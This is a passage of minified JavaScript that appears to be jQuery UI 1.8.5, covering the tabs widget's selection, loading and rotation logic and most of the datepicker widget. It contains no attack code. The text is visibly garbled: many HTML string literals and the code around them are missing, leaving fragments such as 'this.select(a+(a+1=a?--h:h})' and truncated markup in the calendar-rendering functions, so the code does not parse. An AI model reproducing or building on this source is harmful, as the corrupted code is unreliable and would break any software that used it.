if(c.selected===null)c.selected=-1;c.selected=c.selected>=0&&this.anchors[c.selected]||c.selected<0?c.selected:0;c.disabled=d.unique(c.disabled.concat(d.map(this.lis.filter(".ui-state-disabled"),function(g){return b.lis.index(g)}))).sort();d.inArray(c.selected,c.disabled)!=-1&&c.disabled.splice(d.inArray(c.selected,c.disabled),1);this.panels.addClass("ui-tabs-hide");this.lis.removeClass("ui-tabs-selected ui-state-active"); +if(c.selected>=0&&this.anchors.length){this.panels.eq(c.selected).removeClass("ui-tabs-hide");this.lis.eq(c.selected).addClass("ui-tabs-selected ui-state-active");b.element.queue("tabs",function(){b._trigger("show",null,b._ui(b.anchors[c.selected],b.panels[c.selected]))});this.load(c.selected)}d(window).bind("unload",function(){b.lis.add(b.anchors).unbind(".tabs");b.lis=b.anchors=b.panels=null})}else c.selected=this.lis.index(this.lis.filter(".ui-tabs-selected"));this.element[c.collapsible?"addClass": +"removeClass"]("ui-tabs-collapsible");c.cookie&&this._cookie(c.selected,c.cookie);a=0;for(var j;j=this.lis[a];a++)d(j)[d.inArray(a,c.disabled)!=-1&&!d(j).hasClass("ui-tabs-selected")?"addClass":"removeClass"]("ui-state-disabled");c.cache===false&&this.anchors.removeData("cache.tabs");this.lis.add(this.anchors).unbind(".tabs");if(c.event!=="mouseover"){var k=function(g,f){f.is(":not(.ui-state-disabled)")&&f.addClass("ui-state-"+g)},n=function(g,f){f.removeClass("ui-state-"+g)};this.lis.bind("mouseover.tabs", +function(){k("hover",d(this))});this.lis.bind("mouseout.tabs",function(){n("hover",d(this))});this.anchors.bind("focus.tabs",function(){k("focus",d(this).closest("li"))});this.anchors.bind("blur.tabs",function(){n("focus",d(this).closest("li"))})}var m,o;if(c.fx)if(d.isArray(c.fx)){m=c.fx[0];o=c.fx[1]}else m=o=c.fx;var r=o?function(g,f){d(g).closest("li").addClass("ui-tabs-selected ui-state-active");f.hide().removeClass("ui-tabs-hide").animate(o,o.duration||"normal",function(){e(f,o);b._trigger("show", +null,b._ui(g,f[0]))})}:function(g,f){d(g).closest("li").addClass("ui-tabs-selected ui-state-active");f.removeClass("ui-tabs-hide");b._trigger("show",null,b._ui(g,f[0]))},s=m?function(g,f){f.animate(m,m.duration||"normal",function(){b.lis.removeClass("ui-tabs-selected ui-state-active");f.addClass("ui-tabs-hide");e(f,m);b.element.dequeue("tabs")})}:function(g,f){b.lis.removeClass("ui-tabs-selected ui-state-active");f.addClass("ui-tabs-hide");b.element.dequeue("tabs")};this.anchors.bind(c.event+".tabs", +function(){var g=this,f=d(g).closest("li"),i=b.panels.filter(":not(.ui-tabs-hide)"),l=d(b._sanitizeSelector(g.hash));if(f.hasClass("ui-tabs-selected")&&!c.collapsible||f.hasClass("ui-state-disabled")||f.hasClass("ui-state-processing")||b.panels.filter(":animated").length||b._trigger("select",null,b._ui(this,l[0]))===false){this.blur();return false}c.selected=b.anchors.index(this);b.abort();if(c.collapsible)if(f.hasClass("ui-tabs-selected")){c.selected=-1;c.cookie&&b._cookie(c.selected,c.cookie);b.element.queue("tabs", +function(){s(g,i)}).dequeue("tabs");this.blur();return false}else if(!i.length){c.cookie&&b._cookie(c.selected,c.cookie);b.element.queue("tabs",function(){r(g,l)});b.load(b.anchors.index(this));this.blur();return false}c.cookie&&b._cookie(c.selected,c.cookie);if(l.length){i.length&&b.element.queue("tabs",function(){s(g,i)});b.element.queue("tabs",function(){r(g,l)});b.load(b.anchors.index(this))}else throw"jQuery UI Tabs: Mismatching fragment identifier.";d.browser.msie&&this.blur()});this.anchors.bind("click.tabs", +function(){return false})},_getIndex:function(a){if(typeof a=="string")a=this.anchors.index(this.anchors.filter("[href$="+a+"]"));return a},destroy:function(){var a=this.options;this.abort();this.element.unbind(".tabs").removeClass("ui-tabs ui-widget ui-widget-content ui-corner-all ui-tabs-collapsible").removeData("tabs");this.list.removeClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all");this.anchors.each(function(){var e=d.data(this,"href.tabs");if(e)this.href= +e;var b=d(this).unbind(".tabs");d.each(["href","load","cache"],function(c,h){b.removeData(h+".tabs")})});this.lis.unbind(".tabs").add(this.panels).each(function(){d.data(this,"destroy.tabs")?d(this).remove():d(this).removeClass("ui-state-default ui-corner-top ui-tabs-selected ui-state-active ui-state-hover ui-state-focus ui-state-disabled ui-tabs-panel ui-widget-content ui-corner-bottom ui-tabs-hide")});a.cookie&&this._cookie(null,a.cookie);return this},add:function(a,e,b){if(b===p)b=this.anchors.length; +var c=this,h=this.options;e=d(h.tabTemplate.replace(/#\{href\}/g,a).replace(/#\{label\}/g,e));a=!a.indexOf("#")?a.replace("#",""):this._tabId(d("a",e)[0]);e.addClass("ui-state-default ui-corner-top").data("destroy.tabs",true);var j=d("#"+a);j.length||(j=d(h.panelTemplate).attr("id",a).data("destroy.tabs",true));j.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom ui-tabs-hide");if(b>=this.lis.length){e.appendTo(this.list);j.appendTo(this.list[0].parentNode)}else{e.insertBefore(this.lis[b]); +j.insertBefore(this.panels[b])}h.disabled=d.map(h.disabled,function(k){return k>=b?++k:k});this._tabify();if(this.anchors.length==1){h.selected=0;e.addClass("ui-tabs-selected ui-state-active");j.removeClass("ui-tabs-hide");this.element.queue("tabs",function(){c._trigger("show",null,c._ui(c.anchors[0],c.panels[0]))});this.load(0)}this._trigger("add",null,this._ui(this.anchors[b],this.panels[b]));return this},remove:function(a){a=this._getIndex(a);var e=this.options,b=this.lis.eq(a).remove(),c=this.panels.eq(a).remove(); +if(b.hasClass("ui-tabs-selected")&&this.anchors.length>1)this.select(a+(a+1=a?--h:h});this._tabify();this._trigger("remove",null,this._ui(b.find("a")[0],c[0]));return this},enable:function(a){a=this._getIndex(a);var e=this.options;if(d.inArray(a,e.disabled)!=-1){this.lis.eq(a).removeClass("ui-state-disabled");e.disabled=d.grep(e.disabled,function(b){return b!=a});this._trigger("enable",null, +this._ui(this.anchors[a],this.panels[a]));return this}},disable:function(a){a=this._getIndex(a);var e=this.options;if(a!=e.selected){this.lis.eq(a).addClass("ui-state-disabled");e.disabled.push(a);e.disabled.sort();this._trigger("disable",null,this._ui(this.anchors[a],this.panels[a]))}return this},select:function(a){a=this._getIndex(a);if(a==-1)if(this.options.collapsible&&this.options.selected!=-1)a=this.options.selected;else return this;this.anchors.eq(a).trigger(this.options.event+".tabs");return this}, +load:function(a){a=this._getIndex(a);var e=this,b=this.options,c=this.anchors.eq(a)[0],h=d.data(c,"load.tabs");this.abort();if(!h||this.element.queue("tabs").length!==0&&d.data(c,"cache.tabs"))this.element.dequeue("tabs");else{this.lis.eq(a).addClass("ui-state-processing");if(b.spinner){var j=d("span",c);j.data("label.tabs",j.html()).html(b.spinner)}this.xhr=d.ajax(d.extend({},b.ajaxOptions,{url:h,success:function(k,n){d(e._sanitizeSelector(c.hash)).html(k);e._cleanup();b.cache&&d.data(c,"cache.tabs", +true);e._trigger("load",null,e._ui(e.anchors[a],e.panels[a]));try{b.ajaxOptions.success(k,n)}catch(m){}},error:function(k,n){e._cleanup();e._trigger("load",null,e._ui(e.anchors[a],e.panels[a]));try{b.ajaxOptions.error(k,n,a,c)}catch(m){}}}));e.element.dequeue("tabs");return this}},abort:function(){this.element.queue([]);this.panels.stop(false,true);this.element.queue("tabs",this.element.queue("tabs").splice(-2,2));if(this.xhr){this.xhr.abort();delete this.xhr}this._cleanup();return this},url:function(a, +e){this.anchors.eq(a).removeData("cache.tabs").data("load.tabs",e);return this},length:function(){return this.anchors.length}});d.extend(d.ui.tabs,{version:"1.8.5"});d.extend(d.ui.tabs.prototype,{rotation:null,rotate:function(a,e){var b=this,c=this.options,h=b._rotate||(b._rotate=function(j){clearTimeout(b.rotation);b.rotation=setTimeout(function(){var k=c.selected;b.select(++k')}function E(a,b){d.extend(a, +b);for(var c in b)if(b[c]==null||b[c]==G)a[c]=b[c];return a}d.extend(d.ui,{datepicker:{version:"1.8.5"}});var y=(new Date).getTime();d.extend(L.prototype,{markerClassName:"hasDatepicker",log:function(){this.debug&&console.log.apply("",arguments)},_widgetDatepicker:function(){return this.dpDiv},setDefaults:function(a){E(this._defaults,a||{});return this},_attachDatepicker:function(a,b){var c=null;for(var e in this._defaults){var f=a.getAttribute("date:"+e);if(f){c=c||{};try{c[e]=eval(f)}catch(h){c[e]= +f}}}e=a.nodeName.toLowerCase();f=e=="div"||e=="span";if(!a.id){this.uuid+=1;a.id="dp"+this.uuid}var i=this._newInst(d(a),f);i.settings=d.extend({},b||{},c||{});if(e=="input")this._connectDatepicker(a,i);else f&&this._inlineDatepicker(a,i)},_newInst:function(a,b){return{id:a[0].id.replace(/([^A-Za-z0-9_])/g,"\\\\$1"),input:a,selectedDay:0,selectedMonth:0,selectedYear:0,drawMonth:0,drawYear:0,inline:b,dpDiv:!b?this.dpDiv:d('
    ')}}, +_connectDatepicker:function(a,b){var c=d(a);b.append=d([]);b.trigger=d([]);if(!c.hasClass(this.markerClassName)){this._attachments(c,b);c.addClass(this.markerClassName).keydown(this._doKeyDown).keypress(this._doKeyPress).keyup(this._doKeyUp).bind("setData.datepicker",function(e,f,h){b.settings[f]=h}).bind("getData.datepicker",function(e,f){return this._get(b,f)});this._autoSize(b);d.data(a,"datepicker",b)}},_attachments:function(a,b){var c=this._get(b,"appendText"),e=this._get(b,"isRTL");b.append&& +b.append.remove();if(c){b.append=d(''+c+"");a[e?"before":"after"](b.append)}a.unbind("focus",this._showDatepicker);b.trigger&&b.trigger.remove();c=this._get(b,"showOn");if(c=="focus"||c=="both")a.focus(this._showDatepicker);if(c=="button"||c=="both"){c=this._get(b,"buttonText");var f=this._get(b,"buttonImage");b.trigger=d(this._get(b,"buttonImageOnly")?d("").addClass(this._triggerClass).attr({src:f,alt:c,title:c}):d('').addClass(this._triggerClass).html(f== +""?c:d("").attr({src:f,alt:c,title:c})));a[e?"before":"after"](b.trigger);b.trigger.click(function(){d.datepicker._datepickerShowing&&d.datepicker._lastInput==a[0]?d.datepicker._hideDatepicker():d.datepicker._showDatepicker(a[0]);return false})}},_autoSize:function(a){if(this._get(a,"autoSize")&&!a.inline){var b=new Date(2009,11,20),c=this._get(a,"dateFormat");if(c.match(/[DM]/)){var e=function(f){for(var h=0,i=0,g=0;gh){h=f[g].length;i=g}return i};b.setMonth(e(this._get(a, +c.match(/MM/)?"monthNames":"monthNamesShort")));b.setDate(e(this._get(a,c.match(/DD/)?"dayNames":"dayNamesShort"))+20-b.getDay())}a.input.attr("size",this._formatDate(a,b).length)}},_inlineDatepicker:function(a,b){var c=d(a);if(!c.hasClass(this.markerClassName)){c.addClass(this.markerClassName).append(b.dpDiv).bind("setData.datepicker",function(e,f,h){b.settings[f]=h}).bind("getData.datepicker",function(e,f){return this._get(b,f)});d.data(a,"datepicker",b);this._setDate(b,this._getDefaultDate(b), +true);this._updateDatepicker(b);this._updateAlternate(b)}},_dialogDatepicker:function(a,b,c,e,f){a=this._dialogInst;if(!a){this.uuid+=1;this._dialogInput=d('');this._dialogInput.keydown(this._doKeyDown);d("body").append(this._dialogInput);a=this._dialogInst=this._newInst(this._dialogInput,false);a.settings={};d.data(this._dialogInput[0],"datepicker",a)}E(a.settings,e||{});b=b&&b.constructor== +Date?this._formatDate(a,b):b;this._dialogInput.val(b);this._pos=f?f.length?f:[f.pageX,f.pageY]:null;if(!this._pos)this._pos=[document.documentElement.clientWidth/2-100+(document.documentElement.scrollLeft||document.body.scrollLeft),document.documentElement.clientHeight/2-150+(document.documentElement.scrollTop||document.body.scrollTop)];this._dialogInput.css("left",this._pos[0]+20+"px").css("top",this._pos[1]+"px");a.settings.onSelect=c;this._inDialog=true;this.dpDiv.addClass(this._dialogClass);this._showDatepicker(this._dialogInput[0]); +d.blockUI&&d.blockUI(this.dpDiv);d.data(this._dialogInput[0],"datepicker",a);return this},_destroyDatepicker:function(a){var b=d(a),c=d.data(a,"datepicker");if(b.hasClass(this.markerClassName)){var e=a.nodeName.toLowerCase();d.removeData(a,"datepicker");if(e=="input"){c.append.remove();c.trigger.remove();b.removeClass(this.markerClassName).unbind("focus",this._showDatepicker).unbind("keydown",this._doKeyDown).unbind("keypress",this._doKeyPress).unbind("keyup",this._doKeyUp)}else if(e=="div"||e=="span")b.removeClass(this.markerClassName).empty()}}, +_enableDatepicker:function(a){var b=d(a),c=d.data(a,"datepicker");if(b.hasClass(this.markerClassName)){var e=a.nodeName.toLowerCase();if(e=="input"){a.disabled=false;c.trigger.filter("button").each(function(){this.disabled=false}).end().filter("img").css({opacity:"1.0",cursor:""})}else if(e=="div"||e=="span")b.children("."+this._inlineClass).children().removeClass("ui-state-disabled");this._disabledInputs=d.map(this._disabledInputs,function(f){return f==a?null:f})}},_disableDatepicker:function(a){var b= +d(a),c=d.data(a,"datepicker");if(b.hasClass(this.markerClassName)){var e=a.nodeName.toLowerCase();if(e=="input"){a.disabled=true;c.trigger.filter("button").each(function(){this.disabled=true}).end().filter("img").css({opacity:"0.5",cursor:"default"})}else if(e=="div"||e=="span")b.children("."+this._inlineClass).children().addClass("ui-state-disabled");this._disabledInputs=d.map(this._disabledInputs,function(f){return f==a?null:f});this._disabledInputs[this._disabledInputs.length]=a}},_isDisabledDatepicker:function(a){if(!a)return false; +for(var b=0;b-1}},_doKeyUp:function(a){a=d.datepicker._getInst(a.target);if(a.input.val()!=a.lastVal)try{if(d.datepicker.parseDate(d.datepicker._get(a,"dateFormat"),a.input?a.input.val():null,d.datepicker._getFormatConfig(a))){d.datepicker._setDateFromField(a);d.datepicker._updateAlternate(a);d.datepicker._updateDatepicker(a)}}catch(b){d.datepicker.log(b)}return true},_showDatepicker:function(a){a=a.target|| +a;if(a.nodeName.toLowerCase()!="input")a=d("input",a.parentNode)[0];if(!(d.datepicker._isDisabledDatepicker(a)||d.datepicker._lastInput==a)){var b=d.datepicker._getInst(a);d.datepicker._curInst&&d.datepicker._curInst!=b&&d.datepicker._curInst.dpDiv.stop(true,true);var c=d.datepicker._get(b,"beforeShow");E(b.settings,c?c.apply(a,[a,b]):{});b.lastVal=null;d.datepicker._lastInput=a;d.datepicker._setDateFromField(b);if(d.datepicker._inDialog)a.value="";if(!d.datepicker._pos){d.datepicker._pos=d.datepicker._findPos(a); +d.datepicker._pos[1]+=a.offsetHeight}var e=false;d(a).parents().each(function(){e|=d(this).css("position")=="fixed";return!e});if(e&&d.browser.opera){d.datepicker._pos[0]-=document.documentElement.scrollLeft;d.datepicker._pos[1]-=document.documentElement.scrollTop}c={left:d.datepicker._pos[0],top:d.datepicker._pos[1]};d.datepicker._pos=null;b.dpDiv.css({position:"absolute",display:"block",top:"-1000px"});d.datepicker._updateDatepicker(b);c=d.datepicker._checkOffset(b,c,e);b.dpDiv.css({position:d.datepicker._inDialog&& +d.blockUI?"static":e?"fixed":"absolute",display:"none",left:c.left+"px",top:c.top+"px"});if(!b.inline){c=d.datepicker._get(b,"showAnim");var f=d.datepicker._get(b,"duration"),h=function(){d.datepicker._datepickerShowing=true;var i=d.datepicker._getBorders(b.dpDiv);b.dpDiv.find("iframe.ui-datepicker-cover").css({left:-i[0],top:-i[1],width:b.dpDiv.outerWidth(),height:b.dpDiv.outerHeight()})};b.dpDiv.zIndex(d(a).zIndex()+1);d.effects&&d.effects[c]?b.dpDiv.show(c,d.datepicker._get(b,"showOptions"),f, +h):b.dpDiv[c||"show"](c?f:null,h);if(!c||!f)h();b.input.is(":visible")&&!b.input.is(":disabled")&&b.input.focus();d.datepicker._curInst=b}}},_updateDatepicker:function(a){var b=this,c=d.datepicker._getBorders(a.dpDiv);a.dpDiv.empty().append(this._generateHTML(a)).find("iframe.ui-datepicker-cover").css({left:-c[0],top:-c[1],width:a.dpDiv.outerWidth(),height:a.dpDiv.outerHeight()}).end().find("button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a").bind("mouseout",function(){d(this).removeClass("ui-state-hover"); +this.className.indexOf("ui-datepicker-prev")!=-1&&d(this).removeClass("ui-datepicker-prev-hover");this.className.indexOf("ui-datepicker-next")!=-1&&d(this).removeClass("ui-datepicker-next-hover")}).bind("mouseover",function(){if(!b._isDisabledDatepicker(a.inline?a.dpDiv.parent()[0]:a.input[0])){d(this).parents(".ui-datepicker-calendar").find("a").removeClass("ui-state-hover");d(this).addClass("ui-state-hover");this.className.indexOf("ui-datepicker-prev")!=-1&&d(this).addClass("ui-datepicker-prev-hover"); +this.className.indexOf("ui-datepicker-next")!=-1&&d(this).addClass("ui-datepicker-next-hover")}}).end().find("."+this._dayOverClass+" a").trigger("mouseover").end();c=this._getNumberOfMonths(a);var e=c[1];e>1?a.dpDiv.addClass("ui-datepicker-multi-"+e).css("width",17*e+"em"):a.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width("");a.dpDiv[(c[0]!=1||c[1]!=1?"add":"remove")+"Class"]("ui-datepicker-multi");a.dpDiv[(this._get(a,"isRTL")?"add":"remove")+"Class"]("ui-datepicker-rtl"); +a==d.datepicker._curInst&&d.datepicker._datepickerShowing&&a.input&&a.input.is(":visible")&&!a.input.is(":disabled")&&a.input.focus()},_getBorders:function(a){var b=function(c){return{thin:1,medium:2,thick:3}[c]||c};return[parseFloat(b(a.css("border-left-width"))),parseFloat(b(a.css("border-top-width")))]},_checkOffset:function(a,b,c){var e=a.dpDiv.outerWidth(),f=a.dpDiv.outerHeight(),h=a.input?a.input.outerWidth():0,i=a.input?a.input.outerHeight():0,g=document.documentElement.clientWidth+d(document).scrollLeft(), +k=document.documentElement.clientHeight+d(document).scrollTop();b.left-=this._get(a,"isRTL")?e-h:0;b.left-=c&&b.left==a.input.offset().left?d(document).scrollLeft():0;b.top-=c&&b.top==a.input.offset().top+i?d(document).scrollTop():0;b.left-=Math.min(b.left,b.left+e>g&&g>e?Math.abs(b.left+e-g):0);b.top-=Math.min(b.top,b.top+f>k&&k>f?Math.abs(f+i):0);return b},_findPos:function(a){for(var b=this._get(this._getInst(a),"isRTL");a&&(a.type=="hidden"||a.nodeType!=1);)a=a[b?"previousSibling":"nextSibling"]; +a=d(a).offset();return[a.left,a.top]},_hideDatepicker:function(a){var b=this._curInst;if(!(!b||a&&b!=d.data(a,"datepicker")))if(this._datepickerShowing){a=this._get(b,"showAnim");var c=this._get(b,"duration"),e=function(){d.datepicker._tidyDialog(b);this._curInst=null};d.effects&&d.effects[a]?b.dpDiv.hide(a,d.datepicker._get(b,"showOptions"),c,e):b.dpDiv[a=="slideDown"?"slideUp":a=="fadeIn"?"fadeOut":"hide"](a?c:null,e);a||e();if(a=this._get(b,"onClose"))a.apply(b.input?b.input[0]:null,[b.input?b.input.val(): +"",b]);this._datepickerShowing=false;this._lastInput=null;if(this._inDialog){this._dialogInput.css({position:"absolute",left:"0",top:"-100px"});if(d.blockUI){d.unblockUI();d("body").append(this.dpDiv)}}this._inDialog=false}},_tidyDialog:function(a){a.dpDiv.removeClass(this._dialogClass).unbind(".ui-datepicker-calendar")},_checkExternalClick:function(a){if(d.datepicker._curInst){a=d(a.target);a[0].id!=d.datepicker._mainDivId&&a.parents("#"+d.datepicker._mainDivId).length==0&&!a.hasClass(d.datepicker.markerClassName)&& +!a.hasClass(d.datepicker._triggerClass)&&d.datepicker._datepickerShowing&&!(d.datepicker._inDialog&&d.blockUI)&&d.datepicker._hideDatepicker()}},_adjustDate:function(a,b,c){a=d(a);var e=this._getInst(a[0]);if(!this._isDisabledDatepicker(a[0])){this._adjustInstDate(e,b+(c=="M"?this._get(e,"showCurrentAtPos"):0),c);this._updateDatepicker(e)}},_gotoToday:function(a){a=d(a);var b=this._getInst(a[0]);if(this._get(b,"gotoCurrent")&&b.currentDay){b.selectedDay=b.currentDay;b.drawMonth=b.selectedMonth=b.currentMonth; +b.drawYear=b.selectedYear=b.currentYear}else{var c=new Date;b.selectedDay=c.getDate();b.drawMonth=b.selectedMonth=c.getMonth();b.drawYear=b.selectedYear=c.getFullYear()}this._notifyChange(b);this._adjustDate(a)},_selectMonthYear:function(a,b,c){a=d(a);var e=this._getInst(a[0]);e._selectingMonthYear=false;e["selected"+(c=="M"?"Month":"Year")]=e["draw"+(c=="M"?"Month":"Year")]=parseInt(b.options[b.selectedIndex].value,10);this._notifyChange(e);this._adjustDate(a)},_clickMonthYear:function(a){var b= +this._getInst(d(a)[0]);b.input&&b._selectingMonthYear&&setTimeout(function(){b.input.focus()},0);b._selectingMonthYear=!b._selectingMonthYear},_selectDay:function(a,b,c,e){var f=d(a);if(!(d(e).hasClass(this._unselectableClass)||this._isDisabledDatepicker(f[0]))){f=this._getInst(f[0]);f.selectedDay=f.currentDay=d("a",e).html();f.selectedMonth=f.currentMonth=b;f.selectedYear=f.currentYear=c;this._selectDate(a,this._formatDate(f,f.currentDay,f.currentMonth,f.currentYear))}},_clearDate:function(a){a= +d(a);this._getInst(a[0]);this._selectDate(a,"")},_selectDate:function(a,b){a=this._getInst(d(a)[0]);b=b!=null?b:this._formatDate(a);a.input&&a.input.val(b);this._updateAlternate(a);var c=this._get(a,"onSelect");if(c)c.apply(a.input?a.input[0]:null,[b,a]);else a.input&&a.input.trigger("change");if(a.inline)this._updateDatepicker(a);else{this._hideDatepicker();this._lastInput=a.input[0];typeof a.input[0]!="object"&&a.input.focus();this._lastInput=null}},_updateAlternate:function(a){var b=this._get(a, +"altField");if(b){var c=this._get(a,"altFormat")||this._get(a,"dateFormat"),e=this._getDate(a),f=this.formatDate(c,e,this._getFormatConfig(a));d(b).each(function(){d(this).val(f)})}},noWeekends:function(a){a=a.getDay();return[a>0&&a<6,""]},iso8601Week:function(a){a=new Date(a.getTime());a.setDate(a.getDate()+4-(a.getDay()||7));var b=a.getTime();a.setMonth(0);a.setDate(1);return Math.floor(Math.round((b-a)/864E5)/7)+1},parseDate:function(a,b,c){if(a==null||b==null)throw"Invalid arguments";b=typeof b== +"object"?b.toString():b+"";if(b=="")return null;for(var e=(c?c.shortYearCutoff:null)||this._defaults.shortYearCutoff,f=(c?c.dayNamesShort:null)||this._defaults.dayNamesShort,h=(c?c.dayNames:null)||this._defaults.dayNames,i=(c?c.monthNamesShort:null)||this._defaults.monthNamesShort,g=(c?c.monthNames:null)||this._defaults.monthNames,k=c=-1,l=-1,u=-1,j=false,o=function(p){(p=z+1 +-1){k=1;l=u;do{e=this._getDaysInMonth(c,k-1);if(l<=e)break;k++;l-=e}while(1)}v=this._daylightSavingAdjust(new Date(c,k-1,l));if(v.getFullYear()!=c||v.getMonth()+1!=k||v.getDate()!=l)throw"Invalid date";return v},ATOM:"yy-mm-dd",COOKIE:"D, dd M yy",ISO_8601:"yy-mm-dd",RFC_822:"D, d M y",RFC_850:"DD, dd-M-y",RFC_1036:"D, d M y",RFC_1123:"D, d M yy",RFC_2822:"D, d M yy",RSS:"D, d M y",TICKS:"!",TIMESTAMP:"@",W3C:"yy-mm-dd",_ticksTo1970:(718685+Math.floor(492.5)-Math.floor(19.7)+Math.floor(4.925))*24* +60*60*1E7,formatDate:function(a,b,c){if(!b)return"";var e=(c?c.dayNamesShort:null)||this._defaults.dayNamesShort,f=(c?c.dayNames:null)||this._defaults.dayNames,h=(c?c.monthNamesShort:null)||this._defaults.monthNamesShort;c=(c?c.monthNames:null)||this._defaults.monthNames;var i=function(o){(o=j+112?a.getHours()+2:0);return a},_setDate:function(a,b,c){var e=!b,f=a.selectedMonth,h=a.selectedYear;b=this._restrictMinMax(a,this._determineDate(a,b,new Date));a.selectedDay=a.currentDay=b.getDate();a.drawMonth=a.selectedMonth=a.currentMonth=b.getMonth();a.drawYear=a.selectedYear=a.currentYear=b.getFullYear();if((f!=a.selectedMonth||h!=a.selectedYear)&&!c)this._notifyChange(a);this._adjustInstDate(a);if(a.input)a.input.val(e? +"":this._formatDate(a))},_getDate:function(a){return!a.currentYear||a.input&&a.input.val()==""?null:this._daylightSavingAdjust(new Date(a.currentYear,a.currentMonth,a.currentDay))},_generateHTML:function(a){var b=new Date;b=this._daylightSavingAdjust(new Date(b.getFullYear(),b.getMonth(),b.getDate()));var c=this._get(a,"isRTL"),e=this._get(a,"showButtonPanel"),f=this._get(a,"hideIfNoPrevNext"),h=this._get(a,"navigationAsDateFormat"),i=this._getNumberOfMonths(a),g=this._get(a,"showCurrentAtPos"),k= +this._get(a,"stepMonths"),l=i[0]!=1||i[1]!=1,u=this._daylightSavingAdjust(!a.currentDay?new Date(9999,9,9):new Date(a.currentYear,a.currentMonth,a.currentDay)),j=this._getMinMaxDate(a,"min"),o=this._getMinMaxDate(a,"max");g=a.drawMonth-g;var m=a.drawYear;if(g<0){g+=12;m--}if(o){var n=this._daylightSavingAdjust(new Date(o.getFullYear(),o.getMonth()-i[0]*i[1]+1,o.getDate()));for(n=j&&nn;){g--;if(g<0){g=11;m--}}}a.drawMonth=g;a.drawYear=m;n=this._get(a, +"prevText");n=!h?n:this.formatDate(n,this._daylightSavingAdjust(new Date(m,g-k,1)),this._getFormatConfig(a));n=this._canAdjustMonth(a,-1,m,g)?''+n+"":f?"":''+ +n+"";var r=this._get(a,"nextText");r=!h?r:this.formatDate(r,this._daylightSavingAdjust(new Date(m,g+k,1)),this._getFormatConfig(a));f=this._canAdjustMonth(a,+1,m,g)?''+r+"":f?"":''+r+"";k=this._get(a,"currentText");r=this._get(a,"gotoCurrent")&&a.currentDay?u:b;k=!h?k:this.formatDate(k,r,this._getFormatConfig(a));h=!a.inline?'":"";e=e?'
    '+(c?h:"")+(this._isInRange(a,r)?'":"")+(c?"":h)+"
    ":"";h=parseInt(this._get(a,"firstDay"),10);h=isNaN(h)?0:h;k=this._get(a,"showWeek");r=this._get(a,"dayNames");this._get(a,"dayNamesShort");var s=this._get(a,"dayNamesMin"),z=this._get(a,"monthNames"),v=this._get(a,"monthNamesShort"),p=this._get(a,"beforeShowDay"),w=this._get(a,"showOtherMonths"),H=this._get(a,"selectOtherMonths");this._get(a,"calculateWeek");for(var M=this._getDefaultDate(a),I="",C=0;C1)switch(D){case 0:x+=" ui-datepicker-group-first";t=" ui-corner-"+(c?"right":"left");break;case i[1]-1:x+=" ui-datepicker-group-last";t=" ui-corner-"+(c?"left":"right");break;default:x+=" ui-datepicker-group-middle";t="";break}x+='">'}x+='
    '+(/all|left/.test(t)&&C==0?c? +f:n:"")+(/all|right/.test(t)&&C==0?c?n:f:"")+this._generateMonthYearHeader(a,g,m,j,o,C>0||D>0,z,v)+'
    ';var A=k?'":"";for(t=0;t<7;t++){var q=(t+h)%7;A+="=5?' class="ui-datepicker-week-end"':"")+'>'+s[q]+""}x+=A+"";A=this._getDaysInMonth(m,g);if(m==a.selectedYear&&g==a.selectedMonth)a.selectedDay=Math.min(a.selectedDay, +A);t=(this._getFirstDayOfMonth(m,g)-h+7)%7;A=l?6:Math.ceil((t+A)/7);q=this._daylightSavingAdjust(new Date(m,g,1-t));for(var O=0;O";var P=!k?"":'";for(t=0;t<7;t++){var F=p?p.apply(a.input?a.input[0]:null,[q]):[true,""],B=q.getMonth()!=g,K=B&&!H||!F[0]||j&&qo;P+='";q.setDate(q.getDate()+1);q=this._daylightSavingAdjust(q)}x+=P+""}g++;if(g>11){g=0;m++}x+="
    '+this._get(a,"weekHeader")+"
    '+this._get(a,"calculateWeek")(q)+""+(B&&!w?" ":K?''+q.getDate()+ +"":''+q.getDate()+"")+"
    "+(l?""+(i[0]>0&&D==i[1]-1?'
    ':""):"");N+=x}I+=N}I+=e+(d.browser.msie&&parseInt(d.browser.version,10)<7&&!a.inline?'': +"");a._keyEvent=false;return I},_generateMonthYearHeader:function(a,b,c,e,f,h,i,g){var k=this._get(a,"changeMonth"),l=this._get(a,"changeYear"),u=this._get(a,"showMonthAfterYear"),j='
    ',o="";if(h||!k)o+=''+i[b]+"";else{i=e&&e.getFullYear()==c;var m=f&&f.getFullYear()==c;o+='"}u||(j+=o+(h||!(k&&l)?" ":""));if(h||!l)j+=''+c+"";else{g=this._get(a,"yearRange").split(":");var r=(new Date).getFullYear();i=function(s){s=s.match(/c[+-].*/)?c+parseInt(s.substring(1),10):s.match(/[+-].*/)?r+parseInt(s,10):parseInt(s,10);return isNaN(s)?r:s};b=i(g[0]);g=Math.max(b, +i(g[1]||""));b=e?Math.max(b,e.getFullYear()):b;g=f?Math.min(g,f.getFullYear()):g;for(j+='"}j+=this._get(a,"yearSuffix");if(u)j+=(h||!(k&&l)?" ":"")+o;j+="
    ";return j},_adjustInstDate:function(a,b,c){var e= +a.drawYear+(c=="Y"?b:0),f=a.drawMonth+(c=="M"?b:0);b=Math.min(a.selectedDay,this._getDaysInMonth(e,f))+(c=="D"?b:0);e=this._restrictMinMax(a,this._daylightSavingAdjust(new Date(e,f,b)));a.selectedDay=e.getDate();a.drawMonth=a.selectedMonth=e.getMonth();a.drawYear=a.selectedYear=e.getFullYear();if(c=="M"||c=="Y")this._notifyChange(a)},_restrictMinMax:function(a,b){var c=this._getMinMaxDate(a,"min");a=this._getMinMaxDate(a,"max");b=c&&ba?a:b},_notifyChange:function(a){var b=this._get(a, +"onChangeMonthYear");if(b)b.apply(a.input?a.input[0]:null,[a.selectedYear,a.selectedMonth+1,a])},_getNumberOfMonths:function(a){a=this._get(a,"numberOfMonths");return a==null?[1,1]:typeof a=="number"?[1,a]:a},_getMinMaxDate:function(a,b){return this._determineDate(a,this._get(a,b+"Date"),null)},_getDaysInMonth:function(a,b){return 32-(new Date(a,b,32)).getDate()},_getFirstDayOfMonth:function(a,b){return(new Date(a,b,1)).getDay()},_canAdjustMonth:function(a,b,c,e){var f=this._getNumberOfMonths(a); +c=this._daylightSavingAdjust(new Date(c,e+(b<0?b:f[0]*f[1]),1));b<0&&c.setDate(this._getDaysInMonth(c.getFullYear(),c.getMonth()));return 